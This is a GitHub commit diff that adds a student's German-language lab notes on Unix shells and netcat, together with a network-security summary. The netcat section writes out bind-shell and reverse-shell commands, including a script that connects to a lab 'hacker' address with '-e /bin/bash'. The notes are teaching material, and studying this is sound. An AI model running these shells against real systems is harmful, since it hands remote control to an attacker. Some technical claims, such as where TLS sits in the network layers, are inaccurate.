Skip to content

Commit

Permalink
nscs
Browse files Browse the repository at this point in the history
  • Loading branch information
DjakeDjone committed Apr 7, 2024
1 parent 116da6e commit ff3b6cf
Show file tree
Hide file tree
Showing 7 changed files with 871 additions and 522 deletions.
Binary file added content/image-1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added content/image.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
251 changes: 251 additions & 0 deletions content/nscs_protocol_10.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,251 @@


# **Titel: Shells**

| **AufgabenNr:** | 9 |
|---|:---|
| **Klasse:** | 3BHIF |
| **Name:** | Benjamin Friedl |
| **Gruppe:** | 2 |
| **Abgabetermin:** | 16.2.2024 |
| **Abgabedatum:** | 30.2.2024 |

## **Kurzbeschreibung:**
Übung 6 wiederholen und diesmal die VM des Hackers bearbeiten, damit sie die Paktete nicht blockt.

---
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
# Inhaltsverzeichnis
1. [Shells](#shells)
2. [Commands](#commands)
3. [Verketten von Befehlen](#verketten-von-befehlen)
4. [Netcat](#netcat)
1. [Chat-Tool](#chat-tool)
2. [File-Transfer-Tool](#file-transfer-tool)
3. [Shellzugriff](#shellzugriff)
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
----

# Shells
- sh: Bourne Shell -> älteste Shell
- Ksh: Korn Shell -> Weiterentwicklung von sh mit mehr Features
- csh: C-Shell -> von Bill Joy entwickelt -> Syntax ähnlich wie C
- bash: Bourne Again Shell -> Weiterentwicklung von sh
- zsh: Z-Shell -> Weiterentwicklung von bash -> viele Features wie Autovervollständigung, Rechtschreibkorrektur, Themes, etc.

```text
stdir -> stdout
-------> Process ---<
-> stdin
```
# Commands

- File ausgeben
```bash
cat /etc/passwd
```

- File ausgeben und in ein anderes File schreiben
```bash
cat /etc/passwd > /tmp/passwd
```

- File ausgeben und an ein anderes File anhängen
```bash
cat /etc/passwd >> /tmp/passwd
```

- File ausgeben und weiterleiten
```bash
cat /etc/passwd | grep root
```

- File ausgeben und weiterleiten
```bash
cat /etc/passwd | grep root | wc -l
```

- File ausgeben und weiterleiten
```bash
cat /etc/passwd | grep root | wc -l > /tmp/root
```
- File erstellen mit Inhalt
```bash
echo "Hallo" > /tmp/hallo
```

\
\
- Directories anzeigen und sortieren
```bash
ls -l | sort
```
- oder auch umgekehrt:
```bash
sort < abc.txt
```

- Dateien suchen
```bash
find / -name passwd
```

- Dateien suchen und in ein anderes File schreiben
```bash
find / -name passwd > /tmp/passwd
```

# Verketten von Befehlen
\

- abc.txt in def.txt schreiben (könnte auch mit copy gemacht werden)
```bash
cat < abc.txt > def.txt
```


# Netcat
- Netcat ist ein Tool, das Netzwerkverbindungen aufbauen kann
- Außerdem kann es für:
- Chat-Tools
- File-Transfer-Tools
- Port-Scanning
- Port-Forwarding
- etc. verwendet werden

## Chat-Tool
### Aufbau:

| | **Server** | **Client** |
|---|---| --- |
| **Adresse** | `10.140.6.1` | `10.140.1.3` |
| **Port** | `3333` | `3333` |
\

- Client schickt Nachricht an Server
```bash
nc 10.140.6.1 3333 < "Hallo"
```
![alt text](image.png)

- Server schickt Nachricht an Client
```bash
nc -l 3333 > "Hallo"
```

### File-Transfer-Tool
- Client erstellt eine Datei "hello.txt"
```bash
echo "Hello" > hello.txt
```
- Client schickt File "abc.txt" an Server und bricht den Befehl manuell ab
![alt text](image-1.png)
```bash
nc 10.140.0.12 3333 < hello.txt
```
- Server empfängt File "abc.txt"
```bash
nc -l 3333 > hello.txt
```


## Shellzugriff
*Möglich über ssh, rsh, telnet, etc. -> aber auch über **Netcat** möglich*

- Victim startet Netcat und wartet auf Verbindung
```bash
nc -l 3333 -e /bin/bash
```

- Hacker verbindet sich mit Server
```bash
nc 10.140.0.12 3333
```

- Hacker hat nun Zugriff auf die Shell des Victims und **kann Befehle ausführen!**
### Nachteile für Hacker
- Interne IP-Adresse, NAT -> ohne Port-Forwarding nicht erreichbar
- Firewall -> blockt eingehende Verbindungen
- IDS -> erkennt Hacker-Aktivitäten und blockt Verbindungen
(IDS: Intrusion Detection System)

### Lösung: Victim verbindet sich mit Hacker (Reverse Shell)
- Hacker startet Netcat und wartet auf Verbindung
```bash
nc -l 3333
```

- Victim verbindet sich mit Hacker
```bash
nc 10.140.0.3 3333 -e /bin/bash
```

- Hacker hat nun Zugriff auf die Shell des Victims und **kann Befehle ausführen!**
- Optimierung: sh script
```bash
#!/bin/bash
nc 10.140.0.3 3333 -e /bin/bash
```
93 changes: 93 additions & 0 deletions content/nscs_summary.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
# NSCS Summary Test


## Table of Contents




# Network Security
## Network Security Terms
**Assets:**: alle Nutzer, Geräte u. Ressourcen eines Netzwerks
**Vulnerabilities:**: Schwachstellen, die von Angreifern ausgenutzt werden können
**Mitigation:**: Maßnahmen zur Reduzierung von Risiken
**Threats:**: Bedrohungen, die auf Assets einwirken
**Risk:**: Wahrscheinlichkeit, dass eine Bedrohung eintritt
**Exploit:**: Angriff, der eine Schwachstelle (Vulnerability) ausnutzt


## Hacking Tools
- **Passwort Cracker**: John the Ripper, Hashcat
- **Network Mapping**: Nmap
- **Packet Sniffer**: Wireshark
- **Wireless Sniffer**: Aircrack-ng
- **Vulnerability Scanner**: Nessus, OpenVAS
- **Exploitation Tools**: Metasploit
- **Web Application Scanner**: OWASP ZAP

## Attack Types
- **Denial of Service (DoS)**: Ziel ist es, die Verfügbarkeit von Ressourcen zu beeinträchtigen
- **Compromised Key Attack**: Angreifer hat Zugriff auf Schlüssel
- **Eavesdropping**: Abhören von Kommunikation (Sniffing)

## Viren, Würmer, Trojaner
- **Virus**: Programm, das sich in andere Programme einbettet und sich selbst repliziert (z.B. durch E-Mail-Anhänge)
- **Wurm**: Programm, das sich selbstständig verbreitet (z.B. über Netzwerke)
- **Trojaner**: Programm, das sich als nützlich tarnt, aber Schadcode enthält (z.B. als legitime Software getarnt)

# Kryptographie
## Ziele von Verschlüsselung
- **Vertraulichkeit**: Schutz vor unbefugtem Zugriff
- **Integrität**: Schutz vor unbefugter Änderung
- **Authentizität**: Sicherstellung der Identität

## Symmetrische Verschlüsselung
- **Ein Schlüssel für Verschlüsselung und Entschlüsselung**
- **Beispiel**: DES, AES

## Asymmetrische Verschlüsselung
- **Öffentlicher und privater Schlüssel**
- **Beispiel**: RSA, ECC

## TLS/SSL
- Transport Layer Security/Secure Sockets Layer
- Verschlüsselung von Datenübertragungen
- **Zertifikate für Authentifizierung**

### Funktionsweise
**SSL/TLS works on layers 3. and 4. (TCP/UDP)**

```mermaid
graph LR
A[Client] -->|Request| B[Server]
B -->|Certificate| A
A -->|Public Key| B
B -->|Session Key| A
A -->|Encrypted Data| B
```

### Versionen
- **SSL 1.0**: nie veröffentlicht
- **SSL 2.0**: unsicher
- **SSL 3.0**: unsicher
- **TLS 1.0**: unsicher
- **TLS 1.1**: unsicher
- **TLS 1.2**: sicher
- **TLS 1.3**: sicher

## CA
- **Certificate Authority**
- **Aussteller von Zertifikaten**
- **Vertrauenswürdige Instanz**
Beispiele: VeriSign, Thawte, Comodo

## Hashfunktionen
- **Einwegfunktionen**
- **Beispiel**: MD5, SHA-1, SHA-256
- **Verwendung**: Integritätsprüfung, Passwort-Hashing

## Digital Signatures
- **Signatur mit privatem Schlüssel**
- **Verifikation mit öffentlichem Schlüssel**
- **Authentifizierung und Integritätsschutz**

2 changes: 1 addition & 1 deletion content/school/nscs/index.md
Original file line number Diff line number Diff line change
@@ -1 +1 @@
# Hello World
# NSCS
4 changes: 2 additions & 2 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -9,14 +9,14 @@
},
"dependencies": {
"@nuxt/content": "^2.12.1",
"nuxt": "^3.11.1",
"nuxt": "^3.11.2",
"sitemap": "^7.1.1"
},
"devDependencies": {
"@formkit/auto-animate": "^0.8.1",
"@nuxtjs/fontaine": "^0.4.1",
"@nuxtjs/tailwindcss": "^6.11.4",
"daisyui": "^4.9.0",
"daisyui": "^4.10.1",
"nuxt-icon": "^0.6.10"
}
}
Loading

0 comments on commit ff3b6cf

Please sign in to comment.